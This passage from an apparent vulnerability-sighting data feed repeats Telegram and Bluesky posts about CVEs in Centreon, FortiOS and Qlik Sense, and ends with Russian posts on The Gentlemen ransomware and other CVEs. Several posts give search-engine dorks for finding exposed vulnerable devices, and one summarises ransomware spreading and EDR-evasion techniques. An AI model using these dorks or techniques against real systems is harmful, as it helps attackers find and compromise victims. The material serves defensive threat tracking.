"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://t.me/brutsecurity/1418", "content": "CVE-2024-55573, -53923: SQLi in Centreon, 9.1 rating \ud83d\udd25\n\nThe vulnerabilities allow an attacker with high privileges to perform SQL injection into a form for uploading media.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/NETLB\n\ud83d\udc49 Dork: http.favicon.hash_sha256:795c0f8c1ff23b992d6ccb91df5e6488d4c259585da58b2e2f8eeee71147516a OR http.favicon.hash_sha256:c95e0dc8a2cc9a45d29c5381e62e48bde88f661408d4b811e72933fa7da32d4e\n\nVendor's advisory: https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55573-centreon-web-critical-severity-4264", "creation_timestamp": "2026-07-09T03:00:10.067468Z"}, {"uuid": "92109f0d-189d-4ece-b850-23fd26b59cad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/brutsecurity/1419", "content": "Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\nQuery:\nHUNTER:/product.name=\"Fortinet Firewall\"\nFOFA: product=\"FORTINET-Firewall\"\nSHODAN: instances running fortigate:\nhttp.favicon.hash:945408572\nZoomEye Dork: app=\"Fortinet Firewall\"\n\n#BugBounty  #CyberSecurity", "creation_timestamp": "2026-07-09T03:00:10.101241Z"}, {"uuid": "f5af2988-19c7-462a-a7f9-89c6e2d3a732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55579", "type": "seen", "source": "https://t.me/brutsecurity/1185", "content": "CVE-2024-55579, -55580: RCE and Broken Access Control in Qlik Sense, 7.5 - 8.8 rating\u2757\ufe0f\n\nVulnerabilities discovered in Qlik Sense allow attackers to run EXE files on the server, as well as remotely execute commands, potentially affecting confidentiality and integrity.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/9ok2E\n\ud83d\udc49 Dork: http.title:\"Qlik Sense\" \n\nVendor's advisory: https://community.qlik.com/t5/Official-Support-Articles/High-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows-CVEs/tac-p/2496004", "creation_timestamp": "2026-07-09T03:00:11.141501Z"}, {"uuid": "3d27ffa8-5aae-4c82-b924-55df310096a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://t.me/brutsecurity/1418", "content": "CVE-2024-55573, -53923: SQLi in Centreon, 9.1 rating \ud83d\udd25\n\nThe vulnerabilities allow an attacker with high privileges to perform SQL injection into a form for uploading media.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/NETLB\n\ud83d\udc49 Dork: http.favicon.hash_sha256:795c0f8c1ff23b992d6ccb91df5e6488d4c259585da58b2e2f8eeee71147516a OR http.favicon.hash_sha256:c95e0dc8a2cc9a45d29c5381e62e48bde88f661408d4b811e72933fa7da32d4e\n\nVendor's advisory: https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55573-centreon-web-critical-severity-4264", "creation_timestamp": "2026-07-10T00:00:33.727299Z"}, {"uuid": "95012a80-d8f2-4627-b8d8-306b6f6a1762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/brutsecurity/1419", "content": "Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\nQuery:\nHUNTER:/product.name=\"Fortinet Firewall\"\nFOFA: product=\"FORTINET-Firewall\"\nSHODAN: instances running fortigate:\nhttp.favicon.hash:945408572\nZoomEye Dork: app=\"Fortinet Firewall\"\n\n#BugBounty  #CyberSecurity", "creation_timestamp": "2026-07-10T00:00:33.768566Z"}, {"uuid": "0e01e191-3fcd-4f2d-8724-f2ead9541e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55579", "type": "seen", "source": "https://t.me/brutsecurity/1185", "content": "CVE-2024-55579, -55580: RCE and Broken Access Control in Qlik Sense, 7.5 - 8.8 rating\u2757\ufe0f\n\nVulnerabilities discovered in Qlik Sense allow attackers to run EXE files on the server, as well as remotely execute commands, potentially affecting confidentiality and integrity.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/9ok2E\n\ud83d\udc49 Dork: http.title:\"Qlik Sense\" \n\nVendor's advisory: https://community.qlik.com/t5/Official-Support-Articles/High-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows-CVEs/tac-p/2496004", "creation_timestamp": "2026-07-10T00:00:35.509911Z"}, {"uuid": "ae7cd250-9277-4de6-a71d-2d70174acf72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqctt6x7jj2o", "content": "\ud83d\udccc CVE-2024-55661 - Laravel Pulse is a real-time application performance monitoring tool and dashboard for Laravel applications. A vulnerability has been discovered in La... https://www.cyberhub.blog/cves/CVE-2024-55661", "creation_timestamp": "2026-07-10T19:07:06.999979Z"}, {"uuid": "7eaba882-8f2c-439a-ac5f-5b5773623405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/brutsecurity/1419", "content": "Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\nQuery:\nHUNTER:/product.name=\"Fortinet Firewall\"\nFOFA: product=\"FORTINET-Firewall\"\nSHODAN: instances running fortigate:\nhttp.favicon.hash:945408572\nZoomEye Dork: app=\"Fortinet Firewall\"\n\n#BugBounty  #CyberSecurity", "creation_timestamp": "2026-07-11T15:00:05.307689Z"}, {"uuid": "c04ed17d-0320-4bad-a3e6-ace3f96ac1fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://t.me/brutsecurity/1418", "content": "CVE-2024-55573, -53923: SQLi in Centreon, 9.1 rating \ud83d\udd25\n\nThe vulnerabilities allow an attacker with high privileges to perform SQL injection into a form for uploading media.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/NETLB\n\ud83d\udc49 Dork: http.favicon.hash_sha256:795c0f8c1ff23b992d6ccb91df5e6488d4c259585da58b2e2f8eeee71147516a OR http.favicon.hash_sha256:c95e0dc8a2cc9a45d29c5381e62e48bde88f661408d4b811e72933fa7da32d4e\n\nVendor's advisory: https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55573-centreon-web-critical-severity-4264", "creation_timestamp": "2026-07-11T15:00:05.353396Z"}, {"uuid": "f2bec8a7-e43a-48ce-bb94-78c328116161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55579", "type": "seen", "source": "https://t.me/brutsecurity/1185", "content": "CVE-2024-55579, -55580: RCE and Broken Access Control in Qlik Sense, 7.5 - 8.8 rating\u2757\ufe0f\n\nVulnerabilities discovered in Qlik Sense allow attackers to run EXE files on the server, as well as remotely execute commands, potentially affecting confidentiality and integrity.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/9ok2E\n\ud83d\udc49 Dork: http.title:\"Qlik Sense\" \n\nVendor's advisory: https://community.qlik.com/t5/Official-Support-Articles/High-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows-CVEs/tac-p/2496004", "creation_timestamp": "2026-07-11T16:00:03.195773Z"}, {"uuid": "0925fb21-cbc8-45ca-b32a-48814b35c7eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55579", "type": "seen", "source": "https://t.me/brutsecurity/1185", "content": "CVE-2024-55579, -55580: RCE and Broken Access Control in Qlik Sense, 7.5 - 8.8 rating\u2757\ufe0f\n\nVulnerabilities discovered in Qlik Sense allow attackers to run EXE files on the server, as well as remotely execute commands, potentially affecting confidentiality and integrity.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/9ok2E\n\ud83d\udc49 Dork: http.title:\"Qlik Sense\" \n\nVendor's advisory: https://community.qlik.com/t5/Official-Support-Articles/High-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows-CVEs/tac-p/2496004", "creation_timestamp": "2026-07-12T00:00:45.906161Z"}, {"uuid": "64e6fb53-2d6e-4ae0-a410-b5411b3fbb29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/brutsecurity/1419", "content": "Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\nQuery:\nHUNTER:/product.name=\"Fortinet Firewall\"\nFOFA: product=\"FORTINET-Firewall\"\nSHODAN: instances running fortigate:\nhttp.favicon.hash:945408572\nZoomEye Dork: app=\"Fortinet Firewall\"\n\n#BugBounty  #CyberSecurity", "creation_timestamp": "2026-07-12T00:00:47.106895Z"}, {"uuid": "38f8c1cb-64a8-4c94-9337-3a32086190ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://t.me/brutsecurity/1418", "content": "CVE-2024-55573, -53923: SQLi in Centreon, 9.1 rating \ud83d\udd25\n\nThe vulnerabilities allow an attacker with high privileges to perform SQL injection into a form for uploading media.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/NETLB\n\ud83d\udc49 Dork: http.favicon.hash_sha256:795c0f8c1ff23b992d6ccb91df5e6488d4c259585da58b2e2f8eeee71147516a OR http.favicon.hash_sha256:c95e0dc8a2cc9a45d29c5381e62e48bde88f661408d4b811e72933fa7da32d4e\n\nVendor's advisory: https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55573-centreon-web-critical-severity-4264", "creation_timestamp": "2026-07-12T00:00:47.145925Z"}, {"uuid": "a018042d-bd7d-4804-94e0-5d37f1ee7829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/10190", "content": "332 \u0436\u0435\u0440\u0442\u0432\u044b \u0437\u0430 \u043f\u044f\u0442\u044c \u043c\u0435\u0441\u044f\u0446\u0435\u0432: \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0430\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043c\u0435\u043d\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435: \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u043d\u0430 \u043e\u0434\u043d\u0443 \u043c\u0430\u0448\u0438\u043d\u0443 \u0432 \u0441\u0435\u0442\u0438, \u0430 \u0447\u0435\u0440\u0435\u0437 \u043c\u0438\u043d\u0443\u0442\u044b \u2014 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u2014 \u0443\u0436\u0435 \u043f\u043e\u043b\u0437\u0451\u0442 \u043f\u043e SMB-\u0448\u0430\u0440\u0430\u043c \u043d\u0430 \u0432\u0441\u0451, \u0434\u043e \u0447\u0435\u0433\u043e \u0434\u043e\u0442\u044f\u043d\u0435\u0442\u0441\u044f. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0432 \u044d\u0442\u043e \u0432\u0440\u0435\u043c\u044f \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u0441\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 The Gentlemen \u2014 RaaS-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e Microsoft \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u0430\u043a Storm-2697.\n\n\ud83d\udd11\u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0441\u0435\u043c\u043f\u043b \u043d\u0430 Go \u0434\u043e \u0432\u0438\u043d\u0442\u0438\u043a\u0430. \u0412\u043e\u0442 \u0447\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438.\n\n\u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435. \u0413\u0440\u0443\u043f\u043f\u0430 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u043e\u0441\u043a\u043e\u043b\u043a\u0430 Qilin. \u042f\u0434\u0440\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e \u043a\u0430\u043a ArmCorp \u2014 \u0430\u0444\u0444\u0438\u043b\u0438\u0430\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 Qilin RaaS, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0441\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u0441\u043a\u0430\u043d\u0434\u0430\u043b \u0441 \u043d\u0435\u0432\u044b\u043f\u043b\u0430\u0447\u0435\u043d\u043d\u044b\u043c\u0438 $48 000 \u043a\u043e\u043c\u0438\u0441\u0441\u0438\u0438. \u041f\u0435\u0440\u0432\u044b\u0439 \u0431\u0438\u043b\u0434 The Gentlemen \u0441 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u0430 VirusTotal \u0437\u0430 \u043f\u044f\u0442\u044c \u0434\u043d\u0435\u0439 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0440\u044b\u0432\u0430 \u2014 \u0441\u043f\u043b\u0438\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0435\u0432\u0435\u0440\u0441\u044f\u0442 \u0441\u0435\u043c\u043f\u043b\u044b Babuk, LockBit, Medusa, \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0443\u0442\u0438\u043d\u044b \u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 EDR. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u0444\u043e\u0440\u043a.\n\n\u0422\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430. CVE-2024-55591 \u0432 FortiOS \u2014 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 CVSS 9.8. \u0423\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 super-admin \u0447\u0435\u0440\u0435\u0437 crafted-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a WebSocket-\u043c\u043e\u0434\u0443\u043b\u044e. \u0423 \u0433\u0440\u0443\u043f\u043f\u044b \u0432 \u0430\u0440\u0441\u0435\u043d\u0430\u043b\u0435 \u2014 14 700 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 FortiGate-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u042d\u0442\u043e \u043d\u0435 \u0442\u0435\u043e\u0440\u0438\u044f, \u0430 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u044c \u0434\u043b\u044f \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a.\n\n\u27a1\ufe0f\u0428\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435. XChaCha20 + Curve25519 \u0441 per-file \u044d\u0444\u0435\u043c\u0435\u0440\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c. \u041a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u0440\u0443 \u043a\u043b\u044e\u0447\u0435\u0439 \u2014 bulk-\u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0431\u0435\u0441\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u0430. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u0435 \u043a\u043b\u044e\u0447 \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b.\n\n\u27a1\ufe0f\u0421\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435. \u0424\u043b\u0430\u0433 --spread \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a \u0432 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0433\u043e \u0447\u0435\u0440\u0432\u044f. \u0428\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0442\u044c, \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0431\u044f \u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 SMB-\u0448\u0430\u0440\u044b \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CrowdStrike, \u0441\u0440\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f lateral movement \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u2014 62 \u043c\u0438\u043d\u0443\u0442\u044b. The Gentlemen \u0441\u0436\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u043e \u043e\u043a\u043d\u043e \u0434\u043e \u043f\u0440\u0435\u0434\u0435\u043b\u0430: \u043f\u043e\u043a\u0430 SOC \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u0430\u043b\u0435\u0440\u0442\u043e\u043c, \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a \u0443\u0436\u0435 \u043d\u0430 \u0434\u0435\u0441\u044f\u0442\u043a\u0430\u0445 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n\u0427\u0442\u043e \u0435\u0449\u0451 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e:\n\n\u2022 \u0411\u0438\u043d\u0430\u0440\u043d\u0438\u043a \u043d\u0430 Go, stripped symbols \u2014 \u043d\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 pclntab \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f, \u0438 \u0447\u0435\u0440\u0435\u0437 GoReSym \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u043c\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u043f\u0443\u0442\u0438 \u043a \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u043c\n\n\u2022 \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u043e\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u2014 \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044f \u0441\u0435\u043c\u043f\u043b \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\n\u2022 BYOVD \u0447\u0435\u0440\u0435\u0437 ThrottleStop.sys \u0434\u043b\u044f \u0443\u0431\u0438\u0439\u0441\u0442\u0432\u0430 EDR, \u043e\u0447\u0438\u0441\u0442\u043a\u0430 \u043b\u043e\u0433\u043e\u0432, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 Defender \u2014 \u043f\u043e\u043b\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 defense evasion\n\n\u2022 \u041c\u043e\u0434\u0435\u043b\u044c 90/10 \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u0430\u0444\u0444\u0438\u043b\u0438\u0430\u0442\u0430 \u2014 \u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u0435\u0435 \u0440\u044b\u043d\u043a\u0430, \u0433\u0434\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 70-80%\n\n\u0412 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u2014 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0432\u0435\u0440\u0441 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430, \u0440\u0430\u0437\u0431\u043e\u0440 kill chain \u043f\u043e \u0448\u0430\u0433\u0430\u043c, IOC \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e.\n\nhttps://codeby.net/threads/analiz-ransomware-the-gentlemen-revers-go-shifroval-shchika-storm-2697-s-samorasprostraneniyem-cherez-smb.93923/", "creation_timestamp": "2026-07-12T08:00:06.506849Z"}, {"uuid": "20a6033a-b17d-4d8f-be67-f016a32e1d24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://t.me/purp_sec/422", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE-2025-1097, CVE-2025-1098, CVE-2025-24514 \u0438 CVE-2025-1974 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Ingress-NGINX \u0434\u043b\u044f Kubernetes, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \n\n\ud83d\udd35 CVE-2024-55963 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Appsmith, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35 CVE-2025-22230 \u2014 \u0431\u0430\u0433, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Windows Tools Suite. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0435\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\ud83d\udd35 CVE-2024-29029 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Apache ActiveMQ.\n\n\ud83d\udd35 CVE-2025-0927 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 Linux, 